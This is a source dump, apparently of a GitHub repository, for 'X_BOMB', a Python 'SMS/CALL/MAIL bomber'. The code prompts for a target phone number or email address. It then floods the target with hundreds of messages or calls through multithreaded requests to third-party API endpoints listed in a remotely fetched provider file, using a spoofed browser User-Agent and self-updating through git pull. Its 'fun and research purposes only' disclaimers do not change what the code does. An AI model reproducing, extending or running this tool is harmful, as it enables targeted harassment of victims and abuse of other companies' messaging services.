dir_name = "X_BOMB-master" 100 | print(ALL_COLORS[0]+"Downloading ZIP ... "+RESET_ALL) 101 | response = requests.get(zip_url) 102 | if response.status_code == 200: 103 | zip_content = response.content 104 | try: 105 | with zipfile.ZipFile(BytesIO(zip_content)) as zip_file: 106 | for member in zip_file.namelist(): 107 | filename = os.path.split(member) 108 | if not filename[1]: 109 | continue 110 | new_filename = os.path.join( 111 | filename[0].replace(dir_name, "."), 112 | filename[1]) 113 | source = zip_file.open(member) 114 | target = open(new_filename, "wb") 115 | with source, target: 116 | shutil.copyfileobj(source, target) 117 | success = True 118 | except Exception: 119 | mesgdcrt.FailureMessage("Error occured while extracting !!") 120 | if success: 121 | mesgdcrt.SuccessMessage("X_BOMB was updated to the latest version") 122 | mesgdcrt.GeneralMessage( 123 | "Please run the script again to load the latest version") 124 | else: 125 | mesgdcrt.FailureMessage("Unable to update X_bomb.") 126 | mesgdcrt.WarningMessage( 127 | "Grab The Latest one From https://github.com/XPH4N70M/X_BOMB.git") 128 | 129 | sys.exit() 130 | 131 | 132 | def do_git_update(): 133 | success = False 134 | try: 135 | print(ALL_COLORS[0]+"UPDATING "+RESET_ALL, end='') 136 | process = subprocess.Popen("git checkout . && git pull ", 137 | shell=True, 138 | stdout=subprocess.PIPE, 139 | stderr=subprocess.STDOUT) 140 | while process: 141 | print(ALL_COLORS[0]+'.'+RESET_ALL, end='') 142 | time.sleep(1) 143 | returncode = process.poll() 144 | if returncode is not None: 145 | break 146 | success = not process.returncode 147 | except Exception: 148 | success = False 149 | print("\n") 150 | 151 | if success: 152 | mesgdcrt.SuccessMessage("X_BOMB was updated to the latest version") 153 | mesgdcrt.GeneralMessage( 154 | "Please run the script again to load the latest version") 155 | else: 156 | mesgdcrt.FailureMessage("Unable to update X_BOMB.") 157 | mesgdcrt.WarningMessage("Make Sure To Install 'git' ") 158 | mesgdcrt.GeneralMessage("Then run command:") 159 | print( 160 | "git checkout . && " 161 | "git pull https://github.com/XPH4N70M/X_BOMB.git HEAD") 162 | sys.exit() 163 | 164 | 165 | def update(): 166 | if shutil.which('git'): 167 | do_git_update() 168 | else: 169 | do_zip_update() 170 | 171 | 172 | def check_for_updates(): 173 | if DEBUG_MODE: 174 | mesgdcrt.WarningMessage( 175 | "DEBUG MODE Enabled! Auto-Update check is disabled.") 176 | return 177 | mesgdcrt.SectionMessage("Checking for updates") 178 | fver = requests.get( 179 | "https://raw.githubusercontent.com/XPH4N70M/X_BOMB/master/.version" 180 | ).text.strip() 181 | if fver != __VERSION__: 182 | mesgdcrt.WarningMessage("An update is available") 183 | mesgdcrt.GeneralMessage("Starting update...") 184 | update() 185 | else: 186 | mesgdcrt.SuccessMessage("X_BOMB is up-to-date") 187 | mesgdcrt.GeneralMessage("Starting X_BOMB") 188 | 189 | 190 | def notifyen(): 191 | try: 192 | if DEBUG_MODE: 193 | url = "https://github.com/XPH4N70M/X_BOMB/raw/dev/.notify" 194 | else: 195 | url = "https://github.com/XPH4N70M/X_BOMB/raw/master/.notify" 196 | noti = requests.get(url).text.upper() 197 | if len(noti) > 10: 198 | mesgdcrt.SectionMessage("NOTIFICATION: " + noti) 199 | print() 200 | except Exception: 201 | pass 202 | 203 | 204 | def get_phone_info(): 205 | while True: 206 | target = "" 207 | cc = input(mesgdcrt.CommandMessage( 208 | "Enter your country code (Without +): ")) 209 | cc = format_phone(cc) 210 | if not country_codes.get(cc, False): 211 | mesgdcrt.WarningMessage( 212 | "The country code ({cc}) that you have entered" 213 | " is invalid or unsupported".format(cc=cc)) 214 | continue 215 | target = input(mesgdcrt.CommandMessage( 216 | "Enter the target number: +" + cc + " ")) 217 | target = format_phone(target) 218 | if ((len(target) <= 6) or (len(target) >= 12)): 219 | mesgdcrt.WarningMessage( 220 | "The phone number ({target})".format(target=target) + 221 | "that you have entered is invalid") 222 | continue 223 | return (cc, target) 224 | 225 | 226 | def get_mail_info(): 227 | mail_regex = r'^[a-z0-9]+[\._]?[a-z0-9]+[@]\w+[.]\w{2,3}$' 228 | while True: 229 | target = input(mesgdcrt.CommandMessage("Enter target mail: ")) 230 | if not re.search(mail_regex, target, re.IGNORECASE): 231 | mesgdcrt.WarningMessage( 232 | "The mail ({target})".format(target=target) + 233 | " that you have entered is invalid") 234 | continue 235 | return target 236 | 237 | 238 | def pretty_print(cc, target, success, failed): 239 | requested = success+failed 240 | mesgdcrt.SectionMessage("Bombing is in progress - Please be patient") 241 | mesgdcrt.GeneralMessage( 242 | "Please stay connected to the internet during bombing") 243 | mesgdcrt.GeneralMessage("Target : " + cc + " " + target) 244 | mesgdcrt.GeneralMessage("Sent : " + str(requested)) 245 | mesgdcrt.GeneralMessage("Successful : " + str(success)) 246 | mesgdcrt.GeneralMessage("Failed : " + str(failed)) 247 | mesgdcrt.WarningMessage( 248 | "This tool was made for fun and research purposes only") 249 | mesgdcrt.SuccessMessage("X_BOMB was created by XPH4N70M X PHANTOM") 250 | 251 | 252 | def workernode(mode, cc, target, count, delay, max_threads): 253 | 254 | api = APIProvider(cc, target, mode, delay=delay) 255 | clr() 256 | mesgdcrt.SectionMessage("Gearing up the Bomber - Please be patient") 257 | mesgdcrt.GeneralMessage( 258 | "Please stay connected to the internet during bombing") 259 | mesgdcrt.GeneralMessage("API Version : " + api.api_version) 260 | mesgdcrt.GeneralMessage("Target : " + cc + target) 261 | mesgdcrt.GeneralMessage("Amount : " + str(count)) 262 | mesgdcrt.GeneralMessage("Threads : " + str(max_threads) + " threads") 263 | mesgdcrt.GeneralMessage("Delay : " + str(delay) + 264 | " seconds") 265 | mesgdcrt.WarningMessage( 266 | "This tool was made for fun and research purposes only") 267 | print() 268 | input(mesgdcrt.CommandMessage( 269 | "Press [CTRL+Z] to suspend the bomber or [ENTER] to resume it")) 270 | 271 | if len(APIProvider.api_providers) == 0: 272 | mesgdcrt.FailureMessage("Your country/target is not supported yet") 273 | mesgdcrt.GeneralMessage("Feel free to reach out to us") 274 | input(mesgdcrt.CommandMessage("Press [ENTER] to exit")) 275 | bann_text() 276 | sys.exit() 277 | 278 | success, failed = 0, 0 279 | while success < count: 280 | with ThreadPoolExecutor(max_workers=max_threads) as executor: 281 | jobs = [] 282 | for i in range(count-success): 283 | jobs.append(executor.submit(api.hit)) 284 | 285 | for job in as_completed(jobs): 286 | result = job.result() 287 | if result is None: 288 | mesgdcrt.FailureMessage( 289 | "Bombing limit for your target has been reached") 290 | mesgdcrt.GeneralMessage("Try Again Later !!") 291 | input(mesgdcrt.CommandMessage("Press [ENTER] to exit")) 292 | bann_text() 293 | sys.exit() 294 | if result: 295 | success += 1 296 | else: 297 | failed += 1 298 | clr() 299 | pretty_print(cc, target, success, failed) 300 | print("\n") 301 | mesgdcrt.SuccessMessage("Bombing completed!") 302 | time.sleep(1.5) 303 | bann_text() 304 | sys.exit() 305 | 306 | 307 | def selectnode(mode="sms"): 308 | mode = mode.lower().strip() 309 | try: 310 | clr() 311 | bann_text() 312 | check_intr() 313 | check_for_updates() 314 | notifyen() 315 | 316 | max_limit = {"sms": 500, "call": 15, "mail": 200} 317 | cc, target = "", "" 318 | if mode in ["sms", "call"]: 319 | cc, target = get_phone_info() 320 | if cc != "91": 321 | max_limit.update({"sms": 100}) 322 | elif mode == "mail": 323 | target = get_mail_info() 324 | else: 325 | raise KeyboardInterrupt 326 | 327 | limit = max_limit[mode] 328 | while True: 329 | try: 330 | message = ("Enter number of {type}".format(type=mode.upper()) + 331 | " to send (Max {limit}): ".format(limit=limit)) 332 | count = int(input(mesgdcrt.CommandMessage(message)).strip()) 333 | if count > limit or count == 0: 334 | mesgdcrt.WarningMessage("You have requested " + str(count) 335 | + " {type}".format( 336 | type=mode.upper())) 337 | mesgdcrt.GeneralMessage( 338 | "Automatically capping the value" 339 | " to {limit}".format(limit=limit)) 340 | count = limit 341 | delay = float(input( 342 | mesgdcrt.CommandMessage("Enter delay time (in seconds): ")) 343 | .strip()) 344 | # delay = 0 345 | max_thread_limit = (count//10) if (count//10) > 0 else 1 346 | max_threads = int(input( 347 | mesgdcrt.CommandMessage( 348 | "Enter Number of Thread (Recommended: {max_limit}): " 349 | .format(max_limit=max_thread_limit))) 350 | .strip()) 351 | max_threads = max_threads if ( 352 | max_threads > 0) else max_thread_limit 353 | if (count < 0 or delay < 0): 354 | raise Exception 355 | break 356 | except KeyboardInterrupt as ki: 357 | raise ki 358 | except Exception: 359 | mesgdcrt.FailureMessage("Read Instructions Carefully !!!") 360 | print() 361 | 362 | workernode(mode, cc, target, count, delay, max_threads) 363 | except KeyboardInterrupt: 364 | mesgdcrt.WarningMessage("Received INTR call - Exiting...") 365 | sys.exit() 366 | 367 | 368 | mesgdcrt = MessageDecorator("icon") 369 | if sys.version_info[0] != 3: 370 | mesgdcrt.FailureMessage("X_BOMB will work only in Python v3") 371 | sys.exit() 372 | 373 | try: 374 | country_codes = readisdc()["isdcodes"] 375 | except FileNotFoundError: 376 | update() 377 | 378 | 379 | __VERSION__ = get_version() 380 | __CONTRIBUTORS__ = ['XPH4N70M', 'X PHANTOM'] 381 | 382 | ALL_COLORS = [Fore.GREEN, Fore.RED, Fore.YELLOW, Fore.BLUE, 383 | Fore.MAGENTA, Fore.CYAN, Fore.WHITE] 384 | RESET_ALL = Style.RESET_ALL 385 | 386 | ASCII_MODE = False 387 | DEBUG_MODE = False 388 | 389 | description = """X_BOMB - Your Friendly Spammer Application 390 | 391 | X_BOMB can be used for many purposes which incudes - 392 | \t Exposing the vulnerable APIs over Internet 393 | \t Friendly Spamming 394 | \t Testing Your Spam Detector and more .... 395 | 396 | X_BOMB is not intented for malicious uses. 397 | """ 398 | 399 | parser = argparse.ArgumentParser(description=description, 400 | epilog='Coded by X PHANTOM (PH4N7OM) !!!') 401 | parser.add_argument("-sms", "--sms", action="store_true", 402 | help="start X_BOMB with SMS Bomb mode") 403 | parser.add_argument("-call", "--call", action="store_true", 404 | help="start X_BOMB with CALL Bomb mode") 405 | parser.add_argument("-mail", "--mail", action="store_true", 406 | help="start X_BOMB with MAIL Bomb mode") 407 | parser.add_argument("-ascii", "--ascii", action="store_true", 408 | help="show only characters of standard ASCII set") 409 | parser.add_argument("-u", "--update", action="store_true", 410 | help="update X_BOMB") 411 | parser.add_argument("-c", "--contributors", action="store_true", 412 | help="show current X_BOMB contributors") 413 | parser.add_argument("-v", "--version", action="store_true", 414 | help="show current X_BOMB version") 415 | 416 | 417 | if __name__ == "__main__": 418 | args = parser.parse_args() 419 | if args.ascii: 420 | ASCII_MODE = True 421 | mesgdcrt = MessageDecorator("stat") 422 | if args.version: 423 | print("Version: ", __VERSION__) 424 | elif args.contributors: 425 | print("Contributors: ", " ".join(__CONTRIBUTORS__)) 426 | elif args.update: 427 | update() 428 | elif args.mail: 429 | selectnode(mode="mail") 430 | elif args.call: 431 | selectnode(mode="call") 432 | elif args.sms: 433 | selectnode(mode="sms") 434 | else: 435 | choice = "" 436 | avail_choice = { 437 | "1": "SMS", 438 | "2": "CALL", 439 | "3": "MAIL" 440 | } 441 | try: 442 | while (choice not in avail_choice): 443 | clr() 444 | bann_text() 445 | print("Available Options:\n") 446 | for key, value in avail_choice.items(): 447 | print("[ {key} ] {value} BOMB".format(key=key, 448 | value=value)) 449 | print() 450 | choice = input(mesgdcrt.CommandMessage("Enter Choice : ")) 451 | selectnode(mode=avail_choice[choice].lower()) 452 | except KeyboardInterrupt: 453 | mesgdcrt.WarningMessage("Received INTR call - Exiting...") 454 | sys.exit() 455 | sys.exit() 456 | -------------------------------------------------------------------------------- /isdcodes.json: -------------------------------------------------------------------------------- 1 | { 2 | "isdcodes": { 3 | "93": "AF", 4 | "355": "AL", 5 | "213": "DZ", 6 | "376": "AD", 7 | "244": "AO", 8 | "672": "AQ", 9 | "54": "AR", 10 | "374": "AM", 11 | "297": "AW", 12 | "61": "AU", 13 | "43": "AT", 14 | "994": "AZ", 15 | "973": "BH", 16 | "880": "BD", 17 | "375": "BY", 18 | "32": "BE", 19 | "501": "BZ", 20 | "229": "BJ", 21 | "975": "BT", 22 | "591": "BO", 23 | "387": "BA", 24 | "267": "BW", 25 | "55": "BR", 26 | "246": "IO", 27 | "673": "BN", 28 | "359": "BG", 29 | "226": "BF", 30 | "257": "BI", 31 | "855": "KH", 32 | "237": "CM", 33 | "238": "CV", 34 | "236": "CF", 35 | "235": "TD", 36 | "56": "CL", 37 | "86": "CN", 38 | "57": "CO", 39 | "269": "KM", 40 | "682": "CK", 41 | "506": "CR", 42 | "385": "HR", 43 | "53": "CU", 44 | "599": "AN", 45 | "357": "CY", 46 | "420": "CZ", 47 | "243": "CD", 48 | "45": "DK", 49 | "253": "DJ", 50 | "670": "TL", 51 | "593": "EC", 52 | "20": "EG", 53 | "503": "SV", 54 | "240": "GQ", 55 | "291": "ER", 56 | "372": "EE", 57 | "251": "ET", 58 | "500": "FK", 59 | "298": "FO", 60 | "679": "FJ", 61 | "358": "FI", 62 | "33": "FR", 63 | "689": "PF", 64 | "241": "GA", 65 | "220": "GM", 66 | "995": "GE", 67 | "49": "DE", 68 | "233": "GH", 69 | "350": "GI", 70 | "30": "GR", 71 | "299": "GL", 72 | "502": "GT", 73 | "224": "GN", 74 | "245": "GW", 75 | "592": "GY", 76 | "509": "HT", 77 | "504": "HN", 78 | "852": "HK", 79 | "36": "HU", 80 | "354": "IS", 81 | "91": "IN", 82 | "62": "ID", 83 | "98": "IR", 84 | "964": "IQ", 85 | "353": "IE", 86 | "972": "IL", 87 | "39": "IT", 88 | "225": "CI", 89 | "81": "JP", 90 | "962": "JO", 91 | "254": "KE", 92 | "686": "KI", 93 | "383": "XK", 94 | "965": "KW", 95 | "996": "KG", 96 | "856": "LA", 97 | "371": "LV", 98 | "961": "LB", 99 | "266": "LS", 100 | "231": "LR", 101 | "218": "LY", 102 | "423": "LI", 103 | "370": "LT", 104 | "352": "LU", 105 | "853": "MO", 106 | "389": "MK", 107 | "261": "MG", 108 | "265": "MW", 109 | "60": "MY", 110 | "960": "MV", 111 | "223": "ML", 112 | "356": "MT", 113 | "692": "MH", 114 | "222": "MR", 115 | "230": "MU", 116 | "262": "RE", 117 | "52": "MX", 118 | "691": "FM", 119 | "373": "MD", 120 | "377": "MC", 121 | "976": "MN", 122 | "382": "ME", 123 | "212": "EH", 124 | "258": "MZ", 125 | "95": "MM", 126 | "264": "NA", 127 | "674": "NR", 128 | "977": "NP", 129 | "31": "NL", 130 | "687": "NC", 131 | "64": "NZ", 132 | "505": "NI", 133 | "227": "NE", 134 | "234": "NG", 135 | "683": "NU", 136 | "850": "KP", 137 | "47": "SJ", 138 | "968": "OM", 139 | "92": "PK", 140 | "680": "PW", 141 | "970": "PS", 142 | "507": "PA", 143 | "675": "PG", 144 | "595": "PY", 145 | "51": "PE", 146 | "63": "PH", 147 | "48": "PL", 148 | "351": "PT", 149 | "974": "QA", 150 | "242": "CG", 151 | "40": "RO", 152 | "7": "RU", 153 | "250": "RW", 154 | "590": "MF", 155 | "290": "SH", 156 | "508": "PM", 157 | "685": "WS", 158 | "378": "SM", 159 | "239": "ST", 160 | "966": "SA", 161 | "221": "SN", 162 | "381": "RS", 163 | "248": "SC", 164 | "232": "SL", 165 | "65": "SG", 166 | "421": "SK", 167 | "386": "SI", 168 | "677": "SB", 169 | "252": "SO", 170 | "27": "ZA", 171 | "82": "KR", 172 | "211": "SS", 173 | "34": "ES", 174 | "94": "LK", 175 | "249": "SD", 176 | "597": "SR", 177 | "268": "SZ", 178 | "46": "SE", 179 | "41": "CH", 180 | "963": "SY", 181 | "886": "TW", 182 | "992": "TJ", 183 | "255": "TZ", 184 | "66": "TH", 185 | "228": "TG", 186 | "690": "TK", 187 | "676": "TO", 188 | "216": "TN", 189 | "90": "TR", 190 | "993": "TM", 191 | "688": "TV", 192 | "256": "UG", 193 | "380": "UA", 194 | "971": "AE", 195 | "44": "GB", 196 | "1": "US", 197 | "598": "UY", 198 | "998": "UZ", 199 | "678": "VU", 200 | "379": "VA", 201 | "58": "VE", 202 | "84": "VN", 203 | "681": "WF", 204 | "967": "YE", 205 | "260": "ZM", 206 | "263": "ZW" 207 | } 208 | } 209 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | certifi>=2020.6.20 2 | chardet>=3.0.4 3 | colorama>=0.4.3 4 | idna>=2.10 5 | requests>=2.24.0 6 | -------------------------------------------------------------------------------- /utils/__init__.py: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /utils/decorators.py: -------------------------------------------------------------------------------- 1 | from colorama import Fore, Style 2 | 3 | 4 | class IconicDecorator(object): 5 | def __init__(self): 6 | self.PASS = Style.BRIGHT + Fore.GREEN + "[ ✔ ]" + Style.RESET_ALL 7 | self.FAIL = Style.BRIGHT + Fore.RED + "[ ✘ ]" + Style.RESET_ALL 8 | self.WARN = Style.BRIGHT + Fore.YELLOW + "[ ! ]" + Style.RESET_ALL 9 | self.HEAD = Style.BRIGHT + Fore.CYAN + "[ # ]" + Style.RESET_ALL 10 | self.CMDL = Style.BRIGHT + Fore.BLUE + "[ → ]" + Style.RESET_ALL 11 | self.STDS = " " 12 | 13 | 14 | class StatusDecorator(object): 15 | def __init__(self): 16 | self.PASS = Style.BRIGHT + Fore.GREEN + "[ SUCCESS ]" + Style.RESET_ALL 17 | self.FAIL = Style.BRIGHT + Fore.RED + "[ FAILURE ]" + Style.RESET_ALL 18 | self.WARN = Style.BRIGHT + Fore.YELLOW + "[ WARNING ]"\ 19 | + Style.RESET_ALL 20 | self.HEAD = Style.BRIGHT + Fore.CYAN + "[ SECTION ]" + Style.RESET_ALL 21 | self.CMDL = Style.BRIGHT + Fore.BLUE + "[ COMMAND ]" + Style.RESET_ALL 22 | self.STDS = " " 23 | 24 | 25 | class MessageDecorator(object): 26 | def __init__(self, attr): 27 | ICON = IconicDecorator() 28 | STAT = StatusDecorator() 29 | if attr == "icon": 30 | self.PASS = ICON.PASS 31 | self.FAIL = ICON.FAIL 32 | self.WARN = ICON.WARN 33 | self.HEAD = ICON.HEAD 34 | self.CMDL = ICON.CMDL 35 | self.STDS = ICON.STDS 36 | elif attr == "stat": 37 | self.PASS = STAT.PASS 38 | self.FAIL = STAT.FAIL 39 | self.WARN = STAT.WARN 40 | self.HEAD = STAT.HEAD 41 | self.CMDL = STAT.CMDL 42 | self.STDS = STAT.STDS 43 | 44 | def SuccessMessage(self, RequestMessage): 45 | print(self.PASS + " " + Style.RESET_ALL + RequestMessage) 46 | 47 | def FailureMessage(self, RequestMessage): 48 | print(self.FAIL + " " + Style.RESET_ALL + RequestMessage) 49 | 50 | def WarningMessage(self, RequestMessage): 51 | print(self.WARN + " " + Style.RESET_ALL + RequestMessage) 52 | 53 | def SectionMessage(self, RequestMessage): 54 | print(self.HEAD + " " + Fore.CYAN + Style.BRIGHT 55 | + RequestMessage + Style.RESET_ALL) 56 | 57 | def CommandMessage(self, RequestMessage): 58 | return self.CMDL + " " + Style.RESET_ALL + RequestMessage 59 | 60 | def GeneralMessage(self, RequestMessage): 61 | print(self.STDS + " " + Style.RESET_ALL + RequestMessage) 62 | -------------------------------------------------------------------------------- /utils/provider.py: -------------------------------------------------------------------------------- 1 | import threading 2 | import requests 3 | import json 4 | import time 5 | 6 | 7 | class APIProvider: 8 | 9 | api_providers = [] 10 | delay = 0 11 | status = True 12 | 13 | def __init__(self, cc, target, mode, delay=0): 14 | try: 15 | PROVIDERS = json.load(open('apidata.json', 'r')) 16 | except Exception: 17 | PROVIDERS = requests.get( 18 | "https://github.com/XPH4N70M/X_BOMB/raw/master/apidata.json" 19 | ).json() 20 | self.config = None 21 | self.cc = cc 22 | self.target = target 23 | self.mode = mode 24 | self.index = 0 25 | self.lock = threading.Lock() 26 | self.api_version = PROVIDERS.get("version", "2") 27 | APIProvider.delay = delay 28 | providers = PROVIDERS.get(mode.lower(), {}) 29 | APIProvider.api_providers = providers.get(cc, []) 30 | if len(APIProvider.api_providers) < 10: 31 | APIProvider.api_providers += providers.get("multi", []) 32 | 33 | def format(self): 34 | config_dump = json.dumps(self.config) 35 | config_dump = config_dump.replace("{target}", self.target) 36 | config_dump = config_dump.replace("{cc}", self.cc) 37 | self.config = json.loads(config_dump) 38 | 39 | def select_api(self): 40 | try: 41 | if len(APIProvider.api_providers) == 0: 42 | raise IndexError 43 | self.index += 1 44 | if self.index >= len(APIProvider.api_providers): 45 | self.index = 0 46 | except IndexError: 47 | self.index = -1 48 | return 49 | self.config = APIProvider.api_providers[self.index] 50 | perma_headers = {"User-Agent": 51 | "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0)" 52 | " Gecko/20100101 Firefox/72.0"} 53 | if "headers" in self.config: 54 | self.config["headers"].update(perma_headers) 55 | else: 56 | self.config["headers"] = perma_headers 57 | self.format() 58 | 59 | def remove(self): 60 | try: 61 | del APIProvider.api_providers[self.index] 62 | return True 63 | except Exception: 64 | return False 65 | 66 | def request(self): 67 | self.select_api() 68 | if not self.config or self.index == -1: 69 | return None 70 | identifier = self.config.pop("identifier", "").lower() 71 | del self.config['name'] 72 | self.config['timeout'] = 30 73 | response = requests.request(**self.config) 74 | return identifier in response.text.lower() 75 | 76 | def hit(self): 77 | try: 78 | if not APIProvider.status: 79 | return 80 | time.sleep(APIProvider.delay) 81 | self.lock.acquire() 82 | response = self.request() 83 | if response is False: 84 | self.remove() 85 | elif response is None: 86 | APIProvider.status = False 87 | return response 88 | except Exception: 89 | response = False 90 | finally: 91 | self.lock.release() 92 | return response 93 | --------------------------------------------------------------------------------